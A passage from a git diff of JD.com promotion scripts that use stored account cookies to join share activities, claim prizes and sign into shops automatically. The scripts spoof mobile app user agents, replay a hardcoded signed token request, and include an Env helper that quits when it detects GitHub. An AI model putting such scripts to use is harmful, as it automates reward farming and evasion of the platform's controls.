await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await $.wait(500) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=25&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&friendUuid=${encodeURIComponent($.authorCode)}`) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function getPrize() { + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&friendUuid=${encodeURIComponent($.authorCode)}`) + for(let d in $.drawContentVOs){ + await task('getPrize', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&drawInfoId=${$.drawContentVOs[d]['drawInfoId']}`) + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.venderId = data.data.venderId; + $.activityShopId = data.data.venderId; + break; + case 'activityContent': + $.activityContent = data.data; + if(isGetAuthorCodeList){ + console.log('将助力码 '+data.data.myUuid+' 加入助力数组'); + authorCodeList.push(data.data.myUuid); + } + console.log(data.data.myUuid); + $.drawContentVOs = data.data.drawContentVOs + break; + case 'getPrize': + console.log(data.data.name); + break; + } + } else { + $.log(JSON.stringify(data)) + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/${function_id}`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.errorMessage = data.errorMessage + $.log($.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_shop_sign.js b/jd_shop_sign.js new file mode 100644 index 0000000..4e61094 --- /dev/null +++ b/jd_shop_sign.js @@ -0,0 +1,358 @@ +/* +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +============Quantumultx=============== +[task_local] +#店铺签到 +0 0 * * * jd_shop_sign.js +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + // "2A8794EC8DA4659DDDA0DF0E1A2AF4AF", + // "A1E0F96C1D9DB38AE87202E13CE1FD1F", + // "6D180D5A0B6F4A210684757B0DAC6A38", + // "6FF6A61279897029F4DE69C341551CFC", + // "0FCE1975D7A168F5BE2DE89BF2AA784D", + // "9E2F2B62044E1AC059180A38BE06507D", + // "C96A69334CA12BCA81DE74335AC1B35E", + // "A406C4990D5C50702D8C425A03F8076E", + // "E0AB41AAE21BD9CA8E35CC0B9AA92FA7", + // "A20223553DF12E06C7644A1BD67314B6", + // "9621D787095D0030BE681B535F8499BE", + // "C718DA981DBB8CF73FAC7D5480733B43", + // "77A6C7B5C2BC9175521931ADE8E3B2E0", + // "5BEFC891C256D515C4F0F94F15989055", + // "B1482DB6CB72FBF33FFC90B2AB53D32C", + // "225A5186B854F5D0A36B5257BAA98739", + // "9115177F9D949CFB76D0DE6B8FC9D621", + // "AD73E1D98C83593E22802600D5F72B9B", + // "447EA174AB8181DD52EFDECEB4E59F16", + // "32204A01054F3D8F9A1DF5E5CFB4E7F4", + // "6B52B6FDF119B68A42349EEF6CEEC4FF" +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 